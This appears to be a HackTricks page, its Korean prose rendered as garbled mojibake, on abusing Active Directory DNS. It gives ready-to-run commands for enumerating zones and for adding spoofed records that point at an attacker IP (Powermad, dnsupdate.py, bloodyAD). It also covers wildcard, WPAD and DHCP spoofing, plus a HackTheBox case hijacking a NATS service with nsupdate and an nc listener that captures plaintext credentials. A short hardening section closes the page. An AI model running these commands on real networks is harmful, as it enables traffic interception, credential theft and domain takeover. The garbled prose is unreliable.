AD DNS ๋ ์ฝ๋
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๊ธฐ๋ณธ์ ์ผ๋ก Active Directory์์๋ ๋ชจ๋ ์ฌ์ฉ์๊ฐ Domain ๋๋ Forest DNS ์กด์ ๋ชจ๋ DNS ๋ ์ฝ๋๋ฅผ ์ด๊ฑฐํ ์ ์์ผ๋ฉฐ, ์ด๋ zone transfer์ ์ ์ฌํฉ๋๋ค (AD ํ๊ฒฝ์์ ์ฌ์ฉ์๋ DNS ์กด์ ํ์ ๊ฐ์ฒด๋ฅผ ๋์ดํ ์ ์์ต๋๋ค).
๋๊ตฌ adidnsdump๋ ์กด ๋ด์ ๋ชจ๋ DNS ๋ ์ฝ๋๋ฅผ ์ด๊ฑฐํ๊ณ ๋ด๋ณด๋ด๊ธฐํ ์ ์์ด ๋ด๋ถ ๋คํธ์ํฌ์ recon ๋ชฉ์ ์ผ๋ก ์ฌ์ฉ๋ฉ๋๋ค.
git clone https://github.com/dirkjanm/adidnsdump
cd adidnsdump
pip install .
# Enumerate the default zone and resolve the "hidden" records
adidnsdump -u domain_name\\username ldap://10.10.10.10 -r
# Quickly list every zone (DomainDnsZones, ForestDnsZones, legacy zones,โฆ)
adidnsdump -u domain_name\\username ldap://10.10.10.10 --print-zones
# Dump a specific zone (e.g. ForestDnsZones)
adidnsdump -u domain_name\\username ldap://10.10.10.10 --zone _msdcs.domain.local -r
cat records.csv
adidnsdump v1.4.0 (April 2025)๋ JSON/Greppable (
--json) ์ถ๋ ฅ, ๋ฉํฐ์ค๋ ๋ DNS ํด์ ๋ฐ LDAPS ๋ฐ์ธ๋ฉ ์ TLS 1.2/1.3 ์ง์์ ์ถ๊ฐํฉ๋๋ค
For more information read https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/
๋ ์ฝ๋ ์์ฑ / ์์ (ADIDNS spoofing)
๊ธฐ๋ณธ์ ์ผ๋ก Authenticated Users ๊ทธ๋ฃน์ zone DACL์ Create Child ๊ถํ์ด ์์ด, ๋ชจ๋ ๋๋ฉ์ธ ๊ณ์ (๋๋ ์ปดํจํฐ ๊ณ์ )์ ์ถ๊ฐ ๋ ์ฝ๋๋ฅผ ๋ฑ๋กํ ์ ์์ต๋๋ค. ์ด๋ traffic hijacking, NTLM relay coercion ๋๋ full domain compromise์ ์ฌ์ฉ๋ ์ ์์ต๋๋ค.
PowerMad / Invoke-DNSUpdate (PowerShell)
Import-Module .\Powermad.ps1
# Add A record evil.domain.local โ attacker IP
Invoke-DNSUpdate -DNSType A -DNSName evil -DNSData 10.10.14.37 -Verbose
# Delete it when done
Invoke-DNSUpdate -DNSType A -DNSName evil -DNSData 10.10.14.37 -Delete -Verbose
Impacket โ dnsupdate.py (Python)
# add/replace an A record via secure dynamic-update
python3 dnsupdate.py -u 'DOMAIN/user:Passw0rd!' -dc-ip 10.10.10.10 -action add -record evil.domain.local -type A -data 10.10.14.37
(dnsupdate.py๋ Impacket โฅ0.12.0์ ํฌํจ๋์ด ์์ต๋๋ค)
BloodyAD
bloodyAD -u DOMAIN\\user -p 'Passw0rd!' --host 10.10.10.10 dns add A evil 10.10.14.37
์ผ๋ฐ์ ์ธ ๊ณต๊ฒฉ ํ๋ฆฌ๋ฏธํฐ๋ธ
- Wildcard record โ
*.<zone>๋ AD DNS ์๋ฒ๋ฅผ LLMNR/NBNS spoofing๊ณผ ์ ์ฌํ ์ํฐํ๋ผ์ด์ฆ ์ ์ฒด ์๋ต๊ธฐ๋ก ๋ฐ๊ฟ๋๋ค. NTLM ํด์๋ฅผ ๊ฐ๋ก์ฑ๊ฑฐ๋ LDAP/SMB๋ก ๋ฆด๋ ์ดํ๋ ๋ฐ ์ ์ฉ๋ ์ ์์ต๋๋ค. (WINS-lookup ๋นํ์ฑํ ํ์.) - WPAD hijack โ
wpad๋ฅผ ์ถ๊ฐํ๊ฑฐ๋ ๊ณต๊ฒฉ์ ํธ์คํธ๋ฅผ ๊ฐ๋ฆฌํค๋ NS ๋ ์ฝ๋๋ฅผ ์ถ๊ฐ( Global-Query-Block-List ์ฐํ)ํ์ฌ ์์๋ฐ์ด๋ HTTP ์์ฒญ์ ํฌ๋ช ํ๊ฒ ํ๋ก์ํ๊ณ ์๊ฒฉ์ฆ๋ช ์ ์์งํ ์ ์์ต๋๋ค. Microsoft๊ฐ wildcard/DNAME ์ฐํ(CVE-2018-8320)๋ฅผ ํจ์นํ์ง๋ง NS-records still work. - Stale entry takeover โ ์ด์ ์ ์ํฌ์คํ ์ด์ ์ ์ํด ์๋ IP ์ฃผ์๋ฅผ ์ธ๊ณ๋ฐ์ผ๋ฉด ์ฐ๊ฒฐ๋ DNS ์ํธ๋ฆฌ๋ ์ฌ์ ํ ํด์๋์ด resource-based constrained delegation ๋๋ Shadow-Credentials ๊ณต๊ฒฉ์ DNS๋ฅผ ์ ํ ๋ณ๊ฒฝํ์ง ์๊ณ ๋ ๊ฐ๋ฅํ๊ฒ ํฉ๋๋ค.
- DHCP โ DNS spoofing โ ๊ธฐ๋ณธ Windows DHCP+DNS ๋ฐฐํฌ์์๋ ๋์ผ ์๋ธ๋ท์ ์ธ์ฆ๋์ง ์์ ๊ณต๊ฒฉ์๊ฐ ์์กฐ๋ DHCP ์์ฒญ์ ์ ์กํด ๋์ DNS ์ ๋ฐ์ดํธ๋ฅผ ํธ๋ฆฌ๊ฑฐํจ์ผ๋ก์จ ๊ธฐ์กด์ ๋ชจ๋ A ๋ ์ฝ๋(๋๋ฉ์ธ ์ปจํธ๋กค๋ฌ ํฌํจ)๋ฅผ ๋ฎ์ด์ธ ์ ์์ต๋๋ค (Akamai โDDSpoofโ, 2023). ์ด๋ก ์ธํด Kerberos/LDAP์ ๋ํ machine-in-the-middle์ด ๊ฐ๋ฅํด์ ธ ์ ์ฒด ๋๋ฉ์ธ ํ์ทจ๋ก ์ด์ด์ง ์ ์์ต๋๋ค.
- Certifried (CVE-2022-26923) โ ์ ์ดํ๋ ๋จธ์ ๊ณ์ ์
dNSHostName์ ๋ณ๊ฒฝํ๊ณ ์ผ์นํ๋ A ๋ ์ฝ๋๋ฅผ ๋ฑ๋กํ ๋ค์ ํด๋น ์ด๋ฆ์ผ๋ก ์ธ์ฆ์๋ฅผ ์์ฒญํ์ฌ DC๋ฅผ ๊ฐ์ฅํ ์ ์์ต๋๋ค. Certipy๋ BloodyAD ๊ฐ์ ๋๊ตฌ๋ค์ด ์ด ํ๋ฆ์ ์์ ํ ์๋ํํฉ๋๋ค.
์ค๋๋ ๋์ ๋ ์ฝ๋๋ฅผ ํตํ ๋ด๋ถ ์๋น์ค ํ์ด์ฌํน (NATS ์ฌ๋ก ์ฐ๊ตฌ)
๋์ ์
๋ฐ์ดํธ๊ฐ ๋ชจ๋ ์ธ์ฆ ์ฌ์ฉ์์ ๋ํด ์ด๋ ค ์์ผ๋ฉด, ๋ฑ๋ก์ด ์ทจ์๋ ์๋น์ค ์ด๋ฆ์ ์ฌ๋ฑ๋กํ์ฌ ๊ณต๊ฒฉ์ ์ธํ๋ผ๋ก ์ง์ ํ ์ ์์ต๋๋ค. Mirage HTB DC๋ DNS scavenging ์ดํ nats-svc.mirage.htb ํธ์คํธ๋ช
์ ๋
ธ์ถํ์ผ๋ฏ๋ก, ๊ถํ์ด ๋ฎ์ ์ฌ์ฉ์๋ ๋๊ตฌ๋ ๋ค์์ ํ ์ ์์์ต๋๋ค:
- ๋ ์ฝ๋๊ฐ ์๋์ง ํ์ธํ๊ณ
dig๋ก SOA๋ฅผ ํ์ธํฉ๋๋ค:
dig @dc01.mirage.htb nats-svc.mirage.htb
- ๋ ์ฝ๋๋ฅผ ์ฌ์์ฑ ๊ทธ๋ค์ด ์ ์ดํ๋ ์ธ๋ถ/VPN ์ธํฐํ์ด์ค๋ฅผ ํฅํ๋๋ก:
nsupdate
> server 10.10.11.78
> update add nats-svc.mirage.htb 300 A 10.10.14.2
> send
- Impersonate the plaintext service. NATS ํด๋ผ์ด์ธํธ๋ ์๊ฒฉ ์ฆ๋ช
์ ๋ณด๋ด๊ธฐ ์ ์ ํ๋์
INFO { ... }๋ฐฐ๋๋ฅผ ๋ณผ ๊ฒ์ผ๋ก ๊ธฐ๋ํ๋ฏ๋ก, ์ค์ ๋ธ๋ก์ปค์์ ์ ๋นํ ๋ฐฐ๋๋ฅผ ๋ณต์ฌํ๋ ๊ฒ๋ง์ผ๋ก๋ ๋น๋ฐ์ ์์งํ๊ธฐ์ ์ถฉ๋ถํฉ๋๋ค:
# Capture a single INFO line from the real service and replay it to victims
nc 10.10.11.78 4222 | head -1 | nc -lnvp 4222
Any client that resolves the hijacked name will immediately leak its JSON CONNECT frame (including "user"/"pass") to the listener. Running the official nats-server -V binary on the attacker host, disabling its log redaction, or just sniffing the session with Wireshark yields the same plaintext credentials because TLS was optional.
- Pivot with the captured creds โ Mirage์์๋ ํ์ทจ๋ NATS ๊ณ์ ์ด JetStream ์ ๊ทผ์ ํ์ฉํ์ฌ, ์ฌ์ฌ์ฉ ๊ฐ๋ฅํ AD ์ฌ์ฉ์๋ช /๋น๋ฐ๋ฒํธ๋ฅผ ํฌํจํ ๊ณผ๊ฑฐ ์ธ์ฆ ์ด๋ฒคํธ๋ค์ด ๋ ธ์ถ๋์์ต๋๋ค.
์ด ํจํด์ HTTP APIs, RPC, MQTT ๋ฑ๊ณผ ๊ฐ์ด ๋ณด์๋์ง ์์ TCP ํธ๋์ ฐ์ดํฌ์ ์์กดํ๋ ๋ชจ๋ AD-integrated ์๋น์ค์ ์ ์ฉ๋ฉ๋๋ค: DNS ๋ ์ฝ๋๊ฐ ํ์ด์ฌํน๋๋ฉด ๊ณต๊ฒฉ์๋ ๊ณง ๊ทธ ์๋น์ค๊ฐ ๋ฉ๋๋ค.
ํ์ง ๋ฐ ๋ณด์ ๊ฐํ
- ๋ฏผ๊ฐํ ์กด์ ๋ํด Authenticated Users์๊ฒ Create all child objects ๊ถํ์ ํ์ฉํ์ง ๋ง๊ณ , ๋์ ์ ๋ฐ์ดํธ๋ DHCP์์ ์ฌ์ฉํ๋ ์ ์ฉ ๊ณ์ ์ผ๋ก ์์ํ์ธ์.
- ๋์ ์ ๋ฐ์ดํธ๊ฐ ํ์ํ๋ค๋ฉด ์กด์ Secure-only๋ก ์ค์ ํ๊ณ DHCP์์ Name Protection์ ํ์ฑํํ์ฌ ์์ ์ ์ปดํจํฐ ๊ฐ์ฒด๋ง ์์ ์ ๋ ์ฝ๋๋ฅผ ๋ฎ์ด์ธ ์ ์๋๋ก ํ์ธ์.
- DNS Server ์ด๋ฒคํธ ID 257/252 (dynamic update), 770 (zone transfer) ๋ฐ
CN=MicrosoftDNS,DC=DomainDnsZones๋ก์ LDAP ์ฐ๊ธฐ๋ฅผ ๋ชจ๋ํฐ๋งํ์ธ์. - ์ํํ ์ด๋ฆ(
wpad,isatap,*)์ ์๋์ ์ผ๋ก ๋ฌดํดํ ๋ ์ฝ๋๋ฅผ ์ถ๊ฐํ๊ฑฐ๋ Global Query Block List๋ฅผ ํตํด ์ฐจ๋จํ์ธ์. - DNS ์๋ฒ๋ฅผ ์ต์ ํจ์น ์ํ๋ก ์ ์งํ์ธ์ โ ์: RCE ๋ฒ๊ทธ CVE-2024-26224 ๋ฐ CVE-2024-26231์ CVSS 9.8์ ๋๋ฌํ์ผ๋ฉฐ Domain Controllers์ ๋ํด ์๊ฒฉ์ผ๋ก ์ ์ฉ๋ ์ ์์ต๋๋ค.
์ฐธ๊ณ ์๋ฃ
- Kevin Robertson โ โADIDNS Revisited โ WPAD, GQBL and Moreโ (2018, ์ฌ์ ํ wildcard/WPAD ๊ณต๊ฒฉ์ ๋ํ ์ฌ์ค์ ๊ธฐ์ค ๋ฌธํ)
- Akamai โ โSpoofing DNS Records by Abusing DHCP DNS Dynamic Updatesโ (Dec 2023)
- HackTheBox Mirage: Chaining NFS Leaks, Dynamic DNS Abuse, NATS Credential Theft, JetStream Secrets, and Kerberoasting
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


